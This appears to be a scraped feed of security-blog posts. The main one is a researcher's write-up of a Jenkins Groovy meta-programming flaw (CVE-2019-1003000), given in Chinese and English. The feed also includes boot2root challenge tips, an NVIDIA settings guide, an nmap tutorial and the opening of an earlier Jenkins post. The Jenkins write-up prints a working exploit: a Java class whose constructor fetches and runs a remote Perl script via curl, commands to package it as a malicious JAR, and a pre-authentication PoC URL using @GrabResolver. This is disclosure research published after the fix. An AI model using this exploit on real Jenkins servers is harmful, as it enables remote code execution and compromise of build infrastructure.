由於這是對於 Groovy 底層的一種攻擊方式,因此只要是所有可以碰觸到 Groovy 解析的地方皆有可能有漏洞產生! 而這也是這個漏洞好玩的地方,打破了一般開發者認為沒有執行就不會有問題的思維,對攻擊者來說也用了一個沒有電腦科學的理論知識背景不會知道的方法攻擊! 不然你根本不會想到 Meta-Programming! 除了我回報的 doCheckScriptCompile(...)toJson(...) 兩個進入點外,在漏洞被修復後,Mikhail Egorov 也很快的找到了另外一個進入點去觸發這個漏洞!

除此之外,這個漏洞更可以與我前一篇 Hacking Jenkins Part 1 所發現的漏洞串起來,去繞過 Overall/Read 的限制成為一個名符其實不用認證的遠端代碼執行漏洞!(如果你有好好的讀完這兩篇文章,應該對你不是難事XD) 至於有沒有更多的玩法? 就交給大家自由發揮串出自己的攻擊鏈囉!

感謝大家的閱讀,Hacking Jenkins 系列文就在這裡差不多先告一個段落囉! 未來將會再發表更多有趣的技術研究敬請期待!

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!(EN)

18 February 2019 at 16:00

English Version 中文版本

Hello everyone!

This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check the following link to get some basis and see how vulnerable Jenkins’ dynamic routing is!

As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the Script Console)! Although we could bypass the first ACL, we still can’t do much things :(

After Jenkins released the Security Advisory and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading :)


Vulnerability Analysis


First, we start from the Jenkins Pipeline to explain CVE-2019-1003000! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy)

In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library!

As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline:

public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
    } catch (CompilationFailedException x) {
        return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // Approval requirements are managed by regular stapler form validation (via doCheckScript)
}

Here Jenkins validates the Pipeline with the method GroovyClassLoader.parseClass(…)! It should be noted that this is just an AST parsing. Without running execute() method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing :(

this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any execute() method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind!


What is Meta-Programming


Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language!

If it is still hard to understand, you can just regard eval(...) as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example:

  • C Macro
  • C++ Template
  • Java Annotation
  • Ruby (Ruby is a Meta-Programming friendly language, even there are books for that)
  • DSL(Domain Specific Languages, such as Sinatra and Gradle)

When we are talking about Meta-Programming, we classify it into (1)compile-time and (2)run-time Meta-Programming according to the scope. Today, we focus on the compile-time Meta-Programming!

P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! Wiki, Ref1, Ref2 P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me <(_ _)>


How to Exploit?


From the previous section we know Jenkins validates Pipeline by parseClass(…) and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage?

There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as the macro expansion in C language:

#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128 x[]={f,f,f,f,f,f,f,f};

or the compiler resource bomb(make a 16GB ELF by just 18 bytes):

int main[-1u]={1};

or calculating the Fibonacci number by compiler

template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

From the assembly language of compiled binary, we can make sure the result is calculated at compile-time, not run-time!

$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

For more examples, you can refer to the article Build a Compiler Bomb on StackOverflow!


First Attempt


Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official Meta-Programming manual to find some exploitation ways. In the section 2.1.9, we found the @groovy.transform.ASTTest annotation. Here is its description:

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:

What! perform assertions on the AST? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first:

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');
$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

Cool, it works! However, while reproducing this on the remote Jenkins, it shows:

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

What the hell!!! What’s wrong with that?

With a little bit digging, we found the root cause. This is caused by the Pipeline Shared Groovy Libraries Plugin! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error unsable to resolve class occurs!

How to fix this problem? It’s simple! Just go to Jenkins Plugin Manager and remove the Pipeline Shared Groovy Libraries Plugin! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way!


Second Attempt


We continued reading the Groovy Meta-Programming manual and found another interesting annotation - @Grab. There is no detailed information about @Grab on the manual. However, we found another article - Dependency management with Grape on search engine!

Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like:

@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

By using @Grab annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the PoC proveded by @adamyordan to execute arbitrary commands!

However, without a valid credential and execute() method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about @Grab, we found another interesting annotation - @GrabResolver:

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet

If you are smart enough, you would like to change the root parameter to a malicious website! Let’s try this in local environment:

this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"

Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution?


The Way to Code Execution


In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?

By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)!

void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch(ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}

JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this:

void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code!

Here is the full exploit:

public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}
$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

Video:


Epilogue


With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(Script Security Plugin) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time!

Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points doCheckScriptCompile(...) and toJson(...) I reported, after the vulnerability has been fixed, Mikhail Egorov also found another entry point quickly to trigger this vulnerability!

Apart from that, this vulnerability can also be chained with my previous exploit on Hacking Jenkins Part 1 to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain :P

Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future :)

Tips on designing boot2root challenges

18 February 2019 at 10:00

During the past couple of years I published a couple of boot2root challenges on Vulnhub and had some asks on how to properly create such a challenge. I hope this quick post gives you some guidance.


1. Use the official ISOs to create the VM: Avoid using pre-created VMs, many times they aren’t ported properly to be distributed and/or contain unwanted bloatware. Using the official ISOs gives you flexibility on creating the VM hypvervisor-agnostic, meaning it should have no dependencies on whether you created them on VMWare/VirtualBox, so don’t install the guest additions.

2. Configure the network settings: Let the VM rely on the DHCP server, take a look at the Vulnhub “Isolating the lab” section here. Don’t assign it a static IP unless needed, and make sure the player knows about that and any setup required.

3. Patch it up: You normally want players to find the challenges you implemented, not the ones that result from an outdated vulnerable service/kernel. Updating it will reduce the odds of this happening.

4. Choose a theme: Deciding on a theme turns out to be quite important as some people prefer realistic challenges; would I find this in a production environment? Dealing with unrealistic challenges without expecting them could be frustrating. Yet don’t be afraid to stray from that, there are lots of great unrealistic boot2roots on vulnhub.

5. Create the attack surface: This is where the real work begins. You’ll want to craft a path (or more) for players to discover. Maybe some dead ends. Since players attack the VM from an attacker machine, avoid them being able to go from attacking remotely directly to root. At the very least it should go remote -> local -> root. Even more fun is to create multiple scenarios.

6. Take snapshots and automate: Taking snapshots will give you the flexibility on dismissing corrupted iterations. Automating various tasks should be a good ROI, like deleting temporary files and such.

7. Remove unwanted services/files: Removing the GUI layer will save well on space.

8. Have test bunnies: Many people would love to help you test the challenges, another pair of eyes does wonders.

9. Update /etc/motd: This is your chance to put a note for the player, personalize the VM with a name or even some ASCII artwork.

10. Export to OVA format: Avoid uploading the disk file as many times it might have dependencies on the HW you created it on or misconfigured. Instead export the VMs to OVF format so the hypervisor properly mounts them. Both VMWare and VirtualBox support this.

-Abatchy

How to Permanently Set NVIDIA PowerMizer Settings in Ubuntu

15 February 2019 at 00:00

When setting the preferred power mode in the PowerMizer settings of the NVIDIA control panel in Ubuntu, the setting is reset after a reboot of the system. As the default setting forces the GPU to use an adaptive power setting, this can result in decreased performance until such time as setting PowerMizer to prefer maximum performance again.

Although the NVIDIA control panel provides no means of persisting these settings, there is a CLI utility that can help automate the process. Running the nvidia-settings binary with the -q option will output all the current settings. Filtering the output to those related to PowerMizer reveals the GPUPowerMizerMode setting, which when unaltered is set to 0:

$ nvidia-settings -q all | grep -C 10 -i powermizer
  Attribute 'GPUCurrentPerfLevel' (rastating-PC:1[gpu:0]): 3.
    'GPUCurrentPerfLevel' is an integer attribute.
    'GPUCurrentPerfLevel' is a read-only attribute.
    'GPUCurrentPerfLevel' can use the following target types: X Screen, GPU.

  Attribute 'GPUAdaptiveClockState' (rastating-PC:1[gpu:0]): 1.
    'GPUAdaptiveClockState' is a boolean attribute; valid values are: 1 (on/true) and 0 (off/false).
    'GPUAdaptiveClockState' is a read-only attribute.
    'GPUAdaptiveClockState' can use the following target types: X Screen, GPU.

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 0.
    Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2.
    'GPUPowerMizerMode' can use the following target types: GPU.

  Attribute 'GPUPowerMizerDefaultMode' (rastating-PC:1[gpu:0]): 0.
    'GPUPowerMizerDefaultMode' is an integer attribute.
    'GPUPowerMizerDefaultMode' is a read-only attribute.
    'GPUPowerMizerDefaultMode' can use the following target types: GPU.

  Attribute 'ECCSupported' (rastating-PC:1[gpu:0]): 0.
    'ECCSupported' is a boolean attribute; valid values are: 1 (on/true) and 0 (off/false).
    'ECCSupported' is a read-only attribute.
    'ECCSupported' can use the following target types: GPU.

  Attribute 'GPULogoBrightness' (rastating-PC:1[gpu:0]): 100.
    The valid values for 'GPULogoBrightness' are in the range 0 - 100 (inclusive).
    'GPULogoBrightness' can use the following target types: GPU.

After setting the preferred mode to “Prefer Maximum Performance”, the control panel and terminal output now looked as follows:

$ nvidia-settings -q GpuPowerMizerMode

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 1.
    Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2.
    'GPUPowerMizerMode' can use the following target types: GPU.

As can be seen in the above output, the GPUPowerMizerMode is now set to a value of 1.

In addition to reading current values, nvidia-settings can also be used to alter settings. Before using this, we must take note of the GPU index that needs to be changed. In most instances, this will be 0. The index can be identified by looking at the number following gpu: in the attribute line of the output.

Using this information, we can use the -a option to set the value of GpuPowerMizerMode to 1 and verify it has been changed using the -q option:

$ nvidia-settings -a "[gpu:0]/GpuPowerMizerMode=1"

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]) assigned value 1.

$ nvidia-settings -q GpuPowerMizerMode

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 1.
    Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2.
    'GPUPowerMizerMode' can use the following target types: GPU.

There are multiple ways to automate the execution of this command. Personally, I have chosen to add it as a startup application. To do this, run “Startup Applications Preferences” from the dock and then click the “Add” button. In the dialog that is displayed, add the previously used command to set the preferred mode, like this:

After adding this as a startup program, the setting will be automatically adjusted every time you login and the GPU will always prefer maximum performance.

Network scanning with nmap

21 January 2019 at 06:45

Introduction

First step in the process of penetration testing is “Information gathering”, the phase where it is useful to get as much information about the target(s) as possible. While it might be different for the different type of penetration tests, such as web application or mobile application pentest, network scanning is a crucial step in the infrastructure or network pentest.

Let’s take a simple scenario: you are a penetration tester and a company want to test one of its servers. They send you the IP address of the server. How to proceed? Although nmap allows to easily specify multiple IP targets or IP classes, to keep things simple, I will use a single target IP address which I have the permission to scan (my server): 137.74.202.89.

Why?

To find vulnerabilities in a remote system, you should first find the network services running on the target server by doing a network scan and finding the open ports. A service, such as Apache or MySQL can open one or multiple ports on a server to provide its functionality, such as serving web pages or providing access to a database.

How?

A well-known tool that helps penetration testers to perform network scan is nmap (Network Mapper). Nmap is not just a port-scanner, it is a powerful tool, highly customizable that can also find the services running on a system or even use scrips (modules) to find vulnerabilities.

The easiest way to use nmap is to use the Pentest-Tools web interface which allows anyone to easily perform a network scan.

Let’s see some examples. We want to scan an IP address using nmap. How can we do it? What parameters should we use? We can start with the easiest version:

root@kali:~# nmap 137.74.202.89
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-16 02:11 EDT
Nmap scan report for rstforums.com (137.74.202.89)
Host is up (0.045s latency).
Not shown: 993 closed ports
PORT    STATE    SERVICE
22/tcp  open     ssh
25/tcp  filtered smtp
80/tcp  open     http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
443/tcp open     https
445/tcp filtered microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds

We can find some useful information:

  • We see the nmap version and start time of the scan
  • We can see the domain name of the IP address: rstforums.com
  • We can see that host is up, so nmap checked this
  • We can see that 993 ports are closed
  • We can see that 7 ports are open or filtered

However, even if the default scan can be very useful, it might not provide all the information we need to perform the penetration test on the remote server.

Nmap options

Checking the options of nmap is the best place to start. The “nmap -h” command will show us the command line parameters grouped in multiple categories: target specification, host discovery, scan techniques, port specification, version/service detection, OS scan, script scan, performance, firewall evasion and output. It is possible to easily find detailed information about all options by using the “man nmap” command.

Let’s see what common options might be useful, from each category.

  1. Target specification – Since we have a single IP address as a target, there is no need to load it from a file (-iL), we will specify it in the command line.
  2. Host discovery – These options are useful when there are a lot of target IP addresses and can help to reduce the scan time by checking if the target IP addresses are online. It does this by sending multiple different packets, but it can miss some of them. Since in our case there is a single target IP address, we can disable the host discovery by using the “-Pn” argument.
  3. Scan techniques – It is possible to scan using multiple techniques. First, it is important to know what to scan for: TCP, UDP or both. The most common services are running on TCP, but in a penetration test UDP ports must not be forgotten. It is possible to scan for UDP ports using “-sU” command line option and for TCP, there are two common scan techniques: SYN scan (“-sS” option) and Connect scan (“-sT” option).
  4. Port specification – After we decide what scan technique to use, we have to mention the ports we want to scan. This can be easily achieved with “-p” option. By default, nmap scans the most common 1000 ports. However, to be sure, we can scan all ports (1-15535) using “-p-“ option.
  5. Service/version detection – Even if finding open ports is a good start, finding which service and which service version are running on the target system would help more. This can be easily achieved by using the “-sV” option.
  6. OS detection – It might be useful to also know which Operating System is running on the target system and specifying the “-O” option will instruct nmap to try to find it out.
  7. Script scan – With the previous options we can find which services are running on the target system. However, why not to get more information about them? Nmap has a large amount of scripts that can get additional information about them. Please note that some of them might be “intrusive”, so we need the permission before scanning a target.
  8. Performance – This category allows us to customize the speed of the scan. There are a few timing templates that can be used with “-T” parameter, from “-T0” (paranoid mode) to “-T5” (insane mode). A recommended value would be “-T3” (normal mode) and if network connectivity is good, “-T4” (aggressive mode) can be used as well.
  9. Firewall evasion – There are multiple options which specify different techniques that can be used to avoid firewalls, however, for the simplicity we will not use them here.
  10. Output – What happens if you scan for a long time and your system crashes? What if you close the Terminal by mistake and not check the scan result? You should always save the output of the scan result! The “-oN” saves the normal output, “-oX” saves the output as XML or “-oG” saves it in “greppable” format.
  11. Other options – It is also very useful to know what’s happening if a long-time scan is running an “-v” can improve verbosity and keep you up to date. If there are a lot of targets, by using “–open” you will only get the open ports as output and it can improve your scan read time. It is possible to also resume a scanning session (if output was saved) using “–resume” option and “-A” (aggressive) can turn on multiple scan options by default: “-O -sC -sV” but not “-T4”.

During a penetration test all ports must be scanned. A possible nmap command to do it would be the following:

nmap -sS -sU -p- -sC -sV -O -Pn -v -oN output 137.74.202.89

However, it will take some time, so a good suggestion is to run a shorter scan first, scan for example only most common 100 or 1000 TCP ports and after this scan is finished, start the full scan while working with the result of this scan. Below is an example, where “–top-ports” option choses the most common 1000 ports.

nmap -sS --top-ports 1000 -sC -sV -v -Pn -oN output 137.74.202.89

TCP vs UDP scan

While doing a network scan, it is useful to understand the differences between TCP and UDP protocols.

UDP protocol is very simple, but it does not offer the functionalities that TCP offers. The most useful features of TCP are the following:

  • It requires an initial connection, in 3 steps, also called “3-way handshake”:
  1. Client sends a packet with the SYN flag (a bit in the TCP header) set
  2. Server replies with the SYN and ACK flags set (as mentioned in the TCP standard, this can also be done in two packets, but it’s easier to combine them in a single packet)
  3. Client confirms using an ACK flag set packet.
  • Each packet sent to a target is confirmed by another packet, so it is possible to know if the packed reached the destination or not
  • Each packet has a number, so it is sure that the packets are processed at the destination in the same order as they were sent

The initial connection is important to be understood in order to understand the difference between the two common TCP scans: SYN scan (-sS) vs Connect (-sT) scan. The difference is that the SYN scan is faster, as nmap will not send the last ACK packet. Also, it is important to note that nmap requires root privileges to use SYN scan. This is because nmap need to use RAW sockets, a functionality of the Operating system, to be able to manually create the TCP packets and this needs root privileges. If we run nmap with root privileges, by default it will use SYN scan, if not, It will use Connect scan.

How does it work?

Enough with the theory, let’s see what happens during a SYN and UDP scan. We will use a simple command, to scan for port 80 on both TCP (using SYN scan) and UDP.

# nmap -sS -sU -Pn -p 80 137.74.202.89
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-17 13:12 EDT
Nmap scan report for rstforums.com (137.74.202.89)
Host is up (0.045s latency).
PORT   STATE  SERVICE
80/tcp open   http
80/udp closed http
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

During the scan, we open Wireshark and check for the packets sent using a filter that will show us only the packets sent to our target IP address: “ip.addr == 137.74.202.89”. Below is the result:

syn

We can see the following:

  1. First three packets are TCP: one with the SYN flag sent by nmap, one with the SYN and ACK flags sent by the target server and one with RST (Reset) flag sent by nmap. As you can see, being a SYN scan, the last packet of the three-way handshake does not exist. This is helpful, because some services, on connection, might log the IP address that connected to them and this type of scan helps us to avoid this issue.
  2. Last two packets are UDP and ICMP: first packet is the one sent by nmap to the remote port 80, and it received an ICMP message “Destination unreachable (Port unreachable)” which informs us that the port is not open and nmap can show it as closed. However, please note that those packets might not be sent.

Let’s also check for a Connect scan is performed. We can use the following command:

nmap -sT -Pn -p 80 137.74.202.89

Below is the result:

open

We can see that there are four packets:

  1. First three packets represent the three-way handshake used to initiate the connection.
  2. Last packet is sent to close the connection

What happens if the port is closed? We will change the port to a random one: 1337

closed

There are two packets:

  1. First packet is the SYN packet sent by nmap to initiate the connection
  2. Second packet is the RST packet received, meaning that the port is not opened

However, if a firewall is used, it might be possible to not receive the RST packet.

Service version

Service version option (-sV) allows us to find out what is running on the target port. This depends on the service running there. However, let’s see some examples of requests that nmap will use to find what is running on port 80, which is an Apache web server.

# nmap -sS -Pn -p 80 -sV 137.74.202.89
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-17 14:05 EDT
Nmap scan report for rstforums.com (137.74.202.89)
Host is up (0.043s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.98 seconds

Below is a list of HTTP requests sent by nmap:

GET / HTTP/1.0
GET /nmaplowercheck1539799522 HTTP/1.1
Host: rstforums.com
Connection: close
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
POST /sdk HTTP/1.1
Host: rstforums.com
Content-Length: 441
Connection: close
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)

<soap:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContent xmlns="urn:internalvim25"><_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>
GET /HNAP1 HTTP/1.1
Host: rstforums.com
Connection: close
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
GET / HTTP/1.1
Host: rstforums.com
GET /evox/about HTTP/1.1
Host: rstforums.com
Connection: close
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)

Script scan

If we enable the script scan (-sC), the number of requests increases as it will use multiple “scripts” to find more information about the target. Let’s take the following example:

# nmap -sS -Pn -p 80 -sC 137.74.202.89
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-17 14:14 EDT
Nmap scan report for rstforums.com (137.74.202.89)
Host is up (0.045s latency).
PORT   STATE SERVICE
80/tcp open  http
|_http-title: Did not follow redirect to https://rstforums.com/
Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds

Below is the Wireshark output, using a filter that matches only the HTTP requests sent:

http wireshark

As you can see, nmap scripts will send several HTTP requests useful to find more information about the application running on the web server. For example, it will send a request to find if “.git” directory is present, which can contain source code, it sends a request to get “robots.txt” file which might lead to additional paths and one script even sends a POST request to find if there is a RPC (Remote Procedure Call) aware service running:

POST / HTTP/1.1
Connection: close
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Host: rstforums.com

<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

Conclusion

Nmap is most often seen as a “port scanner”. However, in the right hands, in the hands of someone that properly understands how it works, it turns into a powerful penetration testing tool.

This article highlights some of the most common and useful features of nmap, but for a comprehensive understanding of the tool it is required to read the manual and actually use it.

Hacking Jenkins Part 1 - Play with Dynamic Routing

15 January 2019 at 16:00

English Version 中文版本

在軟體工程中, Continuous IntegrationContinuous Delivery 一直都被譽為是軟體開發上的必備流程, 有多少優點就不多談, 光是幫助開發者減少許多雜事就是很大的優勢了! 而在 CI/CD 的領域中, Jenkins 是最為老牌且廣為人知的一套工具, 由於它的易用性, 強大的 Pipeline 系統以及對於容器完美的整合使得 Jenkins 也成為目前最多人使用的 CI/CD 應用, 根據 Snyk 在 2018 年所做出的 JVM 生態報告 中, Jenkins 在 CI/CD 應用中約佔六成的市佔率!

對於 紅隊演練(Red Team) 來說, Jenkins 更是兵家必爭之地, 只要能掌握企業暴露在外的 Jenkins 即可掌握大量的原始碼, 登入憑證甚至控制大量的 Jenkins 節點! 在過去 DEVCORE 所經手過的滲透案子中也出現過數次由 Jenkins 當成進入點, 一步一步從一個小裂縫將目標撕開到完整滲透整間公司的經典案例!

這篇文章主要是分享去年中針對 Jenkins 所做的一次簡單 Security Review, 過程中共發現了五個 CVE:

其中比較被大家所討論的應該是 CVE-2018-1999002, 這是一個在 Windows 下的任意檔案讀取, 由於攻擊方式稍微有趣所以討論聲量較高一點, 這個弱點在外邊也有人做了詳細的分析, 詳情可以參考由騰訊雲鼎實驗室所做的分析(Jenkins 任意文件读取漏洞分析), 他們也成功的展示從 Shodan 找到一台未修補的 Jenkins 實現任意讀檔到遠端代碼執行取得權限的過程!

但這篇文章要提的並不是這個, 而是當時為了嘗試繞過 CVE-2018-1999002 所需的最小權限 Overall/Read 時跟進 Jenkins 所使用的核心框架 Stapler 挖掘所發現的另外一個問題 - CVE-2018-1000861! 如果光從官方的漏洞敘述應該會覺得很神奇, 真的可以光從隨便一個網址去達成代碼執行嗎?

